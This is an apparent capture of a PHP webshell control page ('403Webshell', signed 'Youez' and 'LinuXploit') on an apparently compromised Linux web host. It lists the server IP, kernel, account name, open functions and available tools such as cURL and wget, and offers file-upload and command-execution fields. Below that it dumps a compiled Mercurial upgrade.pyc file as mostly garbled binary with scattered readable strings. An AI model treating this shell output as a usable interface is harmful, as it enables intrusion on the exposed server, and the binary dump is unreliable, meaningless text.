403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/__pycache__/upgrade.cpython-313.pyc
�

6�h$;���SSKJr SSKJr SSKJrJrJrJr	J
r
JrJ
r
 SSKJrJrJr SSKJr \R,r\R.rSSjrS	rS
rg)�)�annotations�)�_)�error�hg�	localrepo�lock�pycompat�requirements�scmutil)�actions�auto_upgrade�engine)�
stringutilNc
�*�Uc
[5nUR5n0nUbXh[R'UbXX[R'UbXx[R
'[R"U5 [R"UR5n	[R"URU	5n
U
R[R"U55 [R"X5 [R"U5n/nUHAn
U
R U;dMUR#U
5 UR%U
R 5 MC U(aB[&R("[+S5SR-[/U55-[+S5S9e[R0"U5n[R2"XX�R4U
5n[R6"U5n[5n[+S5n[+S5nSn[R
n[Rn[RnU(a�[9UR;55(a5UR=5H unnU(dMUR?U5 M" OM[[R@5nUR=5H unnU(aMUR%U5 M" URC5(a�[5nURU5 URU5 URU5 UVs/sHnURD(aMUPM nnURGS	S
9 U(aH[+S5n[+S5nSR-S
U55nUU-n[&R("UUS9e[/UU-SS
9GH�nURH[RJ:waM$URL(a�UU;a{UU;a/UU(d$USUR 4-n UROU 5 SnO5USUR 4-n URQU 5 URR(dSnUR?U5 URT(a�UU;a{UU;a/UU(d$USUR 4-n UROU 5 SnO5USUR 4-n URQU 5 URR(dSnUR?U5 URV(dGM\UU;dGMeUU;a/UU(d$USUR 4-n UROU 5 SnO5USUR 4-n URQU 5 URR(dSnUR?U5 GM� US:�aURYS5 OUS:�aUR[S5 [R\"UU
UR4UUUU5n!U(Gd�/n"/n#UHPn$U$R_U5(aU"R#U$5 M,U$R`(dM?U#R#U$5 MR U"(dU#(a�U"(aMURQ[+S55 U"H-n%URQSU%R U%Rb4-5 M/ U#(aMURQ[+S55 U#H-n%URQSU%R U%Rb4-5 M/ URQS5 OURQ[+S55 URQ[+S55 U!Re5 U!Rg5 U!Ri5 U!Rk5 U!Rl(a*URQ[+S55 U!Ro5 gU!R(d,U!Rp(dURQ[+S55 gURs[+S 55 U!Re5 U!Rg5 U!Ri5 U!Rk5 URQ[+S!55 URu5 URw5 URQ[+S"55 [xRz"S#UR|S$9n&Sn'URQ[+S%5U&-5 URRUR5n([�R�"U(U&SS&9n)U)Ru5 U)Rw5 [R�"XU)U!5n'SSS5 SSS5 URQ[+S'5U&-5 UR�R�U&SS(9 U'(aHURR(d7URO[+S)5U'-5 URO[+S*55 U!R�5 SSS5 SSS5 gs snf!,(df   N�=f!,(df   N�=f!URQ[+S'5U&-5 UR�R�U&SS(9 U'(aHURR(d7URO[+S)5U'-5 URO[+S*55 U!R�5 f=f!,(df   N�=f!,(df   g=f)+zUpgrade a repository in place.Ns)unknown optimization action requested: %ss, s0run without arguments to see valid optimizations��hints3warning: ignoring %14s, as upgrade is changing: %s
s3note:    selecting %s for processing to change: %s
rc��UR$�N��name��as �3/usr/lib/python3/dist-packages/mercurial/upgrade.py�<lambda>�upgraderepo.<locals>.<lambda>ys��!�&�&�)�keys2cannot use these actions on a share repository: %ss$upgrade the main repository directlyc3�8# �UHoRv� M g7frr)�.0rs  r�	<genexpr>�upgraderepo.<locals>.<genexpr>}s��� @��A����s�c��UR$rrrs rrr�s��Q�V�Vrs
--no-filelogs�sall-filelogsrs
--no-manifestsall-manifestlogss--no-changelogTs	changelog�
sBrepository lacks features recommended by current config options:

s
%s
   %s

s?repository lacks features used by the default config options:

s2(no format upgrades found in existing repository)
sEperforming an upgrade with "--run" will make the following changes:

sKadditional optimizations are available by specifying "--optimize <name>":

snothing to do
s-upgrade will perform the following actions:

sbeginning upgrade...
s repository locked and read-only
supgrade.)�prefix�dirs9creating temporary repository to stage upgraded data: %s
)�path�creates!removing temporary repository %s
)�forciblys'copy of old repository backed up at %s
sqthe old repository will not be deleted; remove it to free up disk space once the upgraded repository is verified
)F�set�
unfiltered�upgrade_engine�UPGRADE_CHANGELOG�UPGRADE_MANIFEST�UPGRADE_FILELOGS�upgrade_actions�check_source_requirementsr�defaultcreateopts�ui�newreporequirements�update�preservedrequirements�check_requirements_changes�findoptimizationsr�append�discardr�Abortr�join�sorted�find_format_upgrades�determine_upgrade_actionsr�find_format_downgrades�any�values�items�add�UPGRADE_ALL_REVLOGS�shared�compatible_with_share�sort�type�FORMAT_VARIANT�touches_filelogs�warn�status�quiet�touches_manifests�touches_changelog�
warnnoi18n�statusnoi18n�UpgradeOperation�
fromconfig�default�description�print_requirements�print_optimisations�print_upgrade_actions�print_affected_revlogs�unused_optimizations�print_unused_optimizations�removed_actions�write�wlockr	r
�mkdtempr(�	__class__r�
repository�upgrade�vfs�rmtree�print_post_op_messages)*r4�repo�run�optimize�backup�manifest�	changelog�filelogs�specified_revlogs�default_options�newreqs�alloptimizations�
optimizations�o�format_upgrades�
up_actionsr^�touched_revlogs�
overwrite_msg�
select_msg�
msg_issued�FL�MN�CL�rl�enabled�unsafe_actionsr�m�hr
�action�msg�
upgrade_oprU�onlydefault�d�i�tmppath�
backuppath�repoui�dstrepos*                                          r�upgraderepor�#s������5���?�?��D�����>G�.�:�:�;���=E�.�9�9�:���=E�.�9�9�:��-�-�d�3��1�1�$�'�'�:�O��+�+�D�G�G�_�E�G��N�N�?�8�8��>�?��.�.�t�=�'�8�8��>���M�
���6�6�X��� � ��#����Q�V�V�$��
��k�k�
�:�;��j�j���)�*�
+��F�G�
�	
�&�:�:�4�@�O� �:�:��}�.?�.?���J�&�<�<�T�B�O��e�O��M�N�M��J�K�J��J�	�	(�	(�B�	�	(�	(�B�	�	)�	)�B��� �'�'�)�*�*�0�6�6�8���G��7�#�'�'��+� 9�"�.�"D�"D�E�O�0�6�6�8���G��w�#�+�+�B�/� 9��{�{�}�}�������j�)����o�.����m�,�%�
�%�!�Q�-D�-D�A�~�	�
�	��� 0��1���G�H�A��9�:�A��j�j� @�� @�@�G�
��L�A��+�+�a�a�(�(���o�5�;K�L���;�;�/�8�8�8���"�"�r��'@��&�&�(��,�'�+;�V�[�[�*I�I�C��G�G�C�L�!"�J�� �O�V�[�[�#A�A���	�	�#���x�x�!"�J�����#��#�#��/�(A��&�&�(��,�'�+;�V�[�[�*I�I�C��G�G�C�L�!"�J�� �$7����#E�E���	�	�#���x�x�!"�J�����#��#�#�#��/�(A��&�&�(��,�'�+<�f�k�k�*J�J�C��G�G�C�L�!%�J�� �L�&�+�+�#>�>���	�	�#���x�x�!"�J�����#�UM�V�Q��
�
�
�e��	�q��
����� �1�1�
����������J���
��� �A��|�|�D�!�!��!�!�!�$������"�"�1�%�	!�����	�	��7���$�A��I�I�.�!�&�&�!�-�-�1H�H�I�$���	�	��/���%�A��I�I�.�!�&�&�!�-�-�1H�H�I�%�
�I�I�e���I�I�a�N�O�P�
�	�	�
� �
�	
�	�%�%�'��&�&�(��(�(�*��)�)�+��*�*��I�I��0��
�
�1�1�3���&�&�*�*D�*D�
�	�	�!�&�'�(���H�H�Q�A�
B�C��!�!�#��"�"�$��$�$�&��%�%�'��I�I�a�)�*�+�	
����t�y�y�{�
�	�	�!�8�9�:��"�"�+�4�9�9�E���
�"	0��I�I��"���	�
��W�W�&�&�t�w�w�/�F��m�m�F���F�G�����'�,�,�.�+�3�3��g�z��
�#1��
�I�I�a�=�>��H�I��H�H�O�O�G�d�O�3��"�(�(�����A�B�Z�O������4���
�-�-�/�W#����S
�~#1�.�����
�I�I�a�=�>��H�I��H�H�O�O�G�d�O�3��"�(�(�����A�B�Z�O������4���
�-�-�/��W#�{����s{�6h1�h1�l�*<k3�'A(i�i� h6	�9i�i�	Bk3� l�6
i
�i�
i�i�Bk0�0k3�3
l	�=l�
lc�,�Sn[R"US5nUR5n	X8-
n
U
R[R
5 UR[R
5 US:Xag[R"XSSS5n[R"US5nX�:waNX;-
nX<-nX;-nX8-
n
U
R[R
5 UR[R
5 [R"X5 U(aUR[S55 U(aUR#5 gg![Ra�n
[S5nUS	:Xa?[R"[S
5[R"U
R 5-US9eU(a:UR[S5[R"U
R 5-US9 Sn
A
N�Sn
A
ff=f!U(aUR#5 ff=f)
z,Upgrades a share to use share-safe mechanismNF�allow�wlockrTs+repository upgraded to use share-safe mode
�?see `hg help config.format.use-share-safe` for more informations
upgrade-aborts&failed to upgrade share, got error: %srs'failed to upgrade share, got error: %s
)r�readrequires�copyrE�requirementsmod�SHARESAFE_REQUIREMENT�lockmod�trylock�
writerequiresrMrr�	LockErrorr<r�forcebytestr�strerror�release)r4�hgvfs�storevfs�current_requirements�mismatch_config�
mismatch_warn�mismatch_verbose_upgrader`�store_requirements�original_crequirements�diffrequires�locked_requirements�removed�ers               r�upgrade_share_to_safer�-s���
�E� �-�-�h��>��1�6�6�8��(�<�L����_�:�:�;����_�B�B�C��(�"��$�����8�Q��:��&�2�2�5�$�?���8�*�@�G�
!�+� � �7� �/�D�L����_�B�B�C� �$�$�_�%J�%J�K����e�2�#��G�G�A�E�F�G�$��M�M�O���#�?�?���N�
���.�.��+�+��;�<��)�)�!�*�*�5�6���
�
��G�G��=�>��)�)�!�*�*�5�6��
�
�����"��M�M�O��s,�4B:E�G6�BG1�,G9�1G6�6G9�9Hc���Sn[R"US5nUR5n	U[R-nX8-nUR[R5 US:Xag[R"XSSS5n[R"US5n
X�:wa,X:-
nX;-nX:-nX8-nU[[R5-n[R"X5 U(aUR[S55 U(aUR'5 gg![Ra�n[S5n
US:Xa?[R"[S	5[ R""UR$5-U
S
9eU(a:UR[S5[ R""UR$5-U
S
9 SnAN�SnAff=f!U(aUR'5 ff=f)z5Downgrades a share which use share-safe to not use itNTr�r�rs1repository downgraded to not use share-safe mode
r�sdowngrade-aborts(failed to downgrade share, got error: %srs)failed to downgrade share, got error: %s
)rr�r�r��WORKING_DIR_REQUIREMENTS�remover�r�r�r+r�rMrrr�r<rr�r�r�)r4r��	sharedvfsr�r�r�r�r`�source_requirementsr�r�r�r�rs              r�downgrade_share_to_non_safer�ls���
�E�!�.�.�y�$�?��1�6�6�8���?�C�C�C���/������ E� E�F��(�"��$�����8�Q��:��&�2�2�5�$�?���8�*�@�G�
!�+� � �7� � �7� � �C��(M�(M�$N�N� ����e�:�#��G�G�A�K�L�M�(��M�M�O���'�?�?���N�
��
�0�0��+�+��=�>��)�)�!�*�*�5�6���
�
��G�G��?�@��)�)�!�*�*�5�6��
�
�����&��M�M�O��s,�(BD�G�-BG�>G�G�G�G%)FNTNNN)�
__future__r�i18nr�rrrr	r�r
rr�r�
upgrade_utilsr
r1rrr-�utilsr�may_auto_upgrade�allformatvariantr�r�r��rr�<module>r�sk��#�������� �0�0��"�3�3��	�
��
��
�G0�T<�~:r

Youez - 2016 - github.com/yon3zu
LinuXploit